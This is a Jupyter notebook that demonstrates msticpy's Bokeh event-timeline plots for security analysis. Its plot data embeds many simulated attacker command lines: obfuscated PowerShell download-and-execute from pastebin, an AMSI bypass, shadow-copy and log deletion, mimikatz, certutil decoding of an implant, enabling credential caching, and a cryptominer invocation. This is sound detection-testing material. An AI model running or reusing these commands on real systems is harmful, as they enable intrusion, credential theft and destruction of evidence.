{ "cells": [ { "cell_type": "markdown", "metadata": { "toc": true }, "source": [ "

Table of Contents

\n", "
" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# msticpy - Event Timeline\n", "\n", "This notebook demonstrates the use of the timeline displays built using the [Bokeh library](https://bokeh.pydata.org).\n", "\n", "There are two display types:\n", "- Discrete event series - this plots multiple series of events as discrete glyphs\n", "- Event value series - this plots a scalar value of the events using glyphs, bars or traditional line graph (or some combination." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:28.835951Z", "start_time": "2020-01-30T20:46:26.259919Z" }, "scrolled": true }, "outputs": [], "source": [ "# Imports\n", "import sys\n", "import warnings\n", "\n", "from msticpy.common.utility import check_py_version\n", "MIN_REQ_PYTHON = (3,6)\n", "check_py_version(MIN_REQ_PYTHON)\n", "\n", "from IPython import get_ipython\n", "from IPython.display import display, HTML, Markdown\n", "import ipywidgets as widgets\n", "\n", "import pandas as pd\n", "pd.set_option('display.max_rows', 100)\n", "pd.set_option('display.max_columns', 50)\n", "pd.set_option('display.max_colwidth', 100)\n", "\n", "from msticpy.nbtools import *\n", "from msticpy.sectools import *\n", "\n", "WIDGET_DEFAULTS = {'layout': widgets.Layout(width='95%'),\n", " 'style': {'description_width': 'initial'}}\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Discrete Event Timelines\n", "\n", "## Plotting a simple timeline\n", "nbdisplay.display_timeline\n", "```\n", "Display a timeline of events.\n", "\n", "Parameters\n", "----------\n", "data : Union[dict, pd.DataFrame]\n", " Either\n", " dict of data sets to plot on the timeline with the following structure.\n", "\n", " Key: str\n", " Name of data set to be displayed in legend\n", " Value: dict\n", " containing\n", "\n", " data: pd.DataFrame\n", " Data to plot\n", " time_column: str, optional\n", " Name of the timestamp column\n", " (defaults to `time_column` function parameter)\n", " source_columns: list[str], optional\n", " List of source columns to use in tooltips\n", " (defaults to `source_columns` function parameter)\n", " color: str, optional\n", " Color of datapoints for this data\n", " (defaults to autogenerating colors)\n", "\n", " Or\n", " DataFrame as a single data set or grouped into individual\n", " plot series using the `group_by` parameter\n", "time_column : str, optional\n", " Name of the timestamp column\n", " (the default is 'TimeGenerated')\n", "source_columns : list, optional\n", " List of default source columns to use in tooltips\n", " (the default is None)\n", "```" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:28.957882Z", "start_time": "2020-01-30T20:46:28.836950Z" } }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
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\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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[S]&cd&echo\\n[E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nEnable-WSManCredSSP =2013Role Server -force&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nwinrm set winrm/config/service/Auth\\n@{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED\\n]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change\\nDates.docx\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\s\\nystem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del\\nC:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo\\n[S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"vssadmin delete shadows /all /quiet\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe\\n/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c\\nc:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\nc:\\\\Diagnostics\\\\UserTmp\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nromead@microsoft.com; ianhelle@microsoft.com;\\nmarcook@microsoft.com; dotanp@microsoft.com;\\nliengli@microsoft.com\",\"net user adm1nistrator Bob_testing /add\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator\\nBob_testing /add\",\"net share TestShare=c:\\\\testshare\\n/Grant:Users,Read\",\"C:\\\\Windows\\\\system32\\\\net1 share\\nTestShare=c:\\\\testshare /Grant:Users,Read\",\"dism /online /enable-feature /featurename:File-\\nServices /NoRestart\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare\\nBob_testing /User:adm1nistrator\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-\\nDE32-44D3-8E35-F3FC78E72E40\\\\dismhost.exe\\n{D57BA872-53C0-424D-80AE-E49112D1CF04}\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"net use q: /delete\",\"net share TestShare /delete\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare /delete\",\"net user adm1nistrator /delete\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator\\n/delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct\\nscrobj.dll\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\suchost.exe -a cryptonight -o bcn -u\\nbond007.01 -p x -t 4\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n>> delme.b64\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n>> delme.b64\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`\\nC`li`en`t).DownloadFile('https://blah/png','google\\n.png')}\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell.exe -c \\\"$a =\\n'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + '\\nNet.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -c {IEX (New-Object\\nNet.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17\\n','pqCw')));}\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy\\nBYpa^sS i^mPOr^T-^M^oDuLE\\nbiTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^\\n'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\\\nLocal\\\\Temp\\\\kittens1.jpg';\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0\\nACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAc\\ngBlAHMAcwBpAG8AbgAnACkAIAAkAHQA\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\n>> blah.ps1\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\n>> blah.ps1\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"certutil -decode delme.b64 implant.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process;\\nInvoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -Noninteractive -Noprofile -Command\\n\\\"Invoke-Expression Get-Process; Invoke-WebRequest\\n-Uri http://badguyserver/pwnme\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell Invoke-Shellcode.ps1\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -command \\\"(New-Object\\nNet.WebClient).DownloadString(('ht'+'tp://pasteb'\\n+ 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"net localgroup Administrators\",\"C:\\\\Windows\\\\system32\\\\net1 localgroup\\nAdministrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user Bob1 /domain\",\"net user BobX /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\"C:\\\\Windows\\\\system32\\\\net1 group \\\"Domain Admins\\\"\\n/domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add\\n\\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d\\n0x1 /f\",\".\\\\reg add\\n\\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d\\n0x0 /f\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"C:\\\\Windows\\\\system32\\\\net1 v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:Cre\\nateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe\\n-c \\\"\\\"$x=$((gp\\nHKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E\\n$y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule\\nname=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\app\\ndata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\".\\\\reg add HKLM\\\\KEY_LOCAL_MACHINE\\\\...securityprovi\\nders\\\\wdigest uselogoncredential /t 1\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\")\",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command [ref].assembly.gettype\\n('http://system.management.automation.amsiutils').\\ngetfield('amsiinitfailed','nonpublic,static').setv\\nalue($null,$true)\\\\\\\"\",\"netsh start capture=yes IPv4.Address=1.2.3.4 trac\\nefile=C:\\\\\\\\Users\\\\\\\\user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bzzzz\\nzz.txt\",\".\\\\wuauclt.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\".\\\\lsass.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"cmd /c \\\"powershell wscript.shell used to download\\na .gif\\\"\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t\\n/g everyone:f\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\sys\\ntem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set\\nopmode mode=disable profile=all\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com\\nabc.wallet\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR C:\\\\Users\\\\Administrator\\n\\\\AppData\\\\Roaming\\\\{RANDOM}.txt\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/\",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\nNT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\nNT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\"sc create MSTICTestService binPath=C:\\\\Users\\\\MSTIC\\nA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.exe DisplayName=\\\"Test\\nService\\\"\",\"sc delete MSTICTestService\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition\\n/t reg_dword /d 33554556 /f\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\"C:\\\\Windows\\\\System32\\\\svchost.exe -k WerSvcGroup\",\"C:\\\\Windows\\\\system32\\\\WerFault.exe -u -p 6060 -s 472\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\Windo\\nwsAzure\\\\CollectGuestLogsTemp\\\\710dc858-9c96-4df5-bd\\n9b-e932e7433077.zip\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service 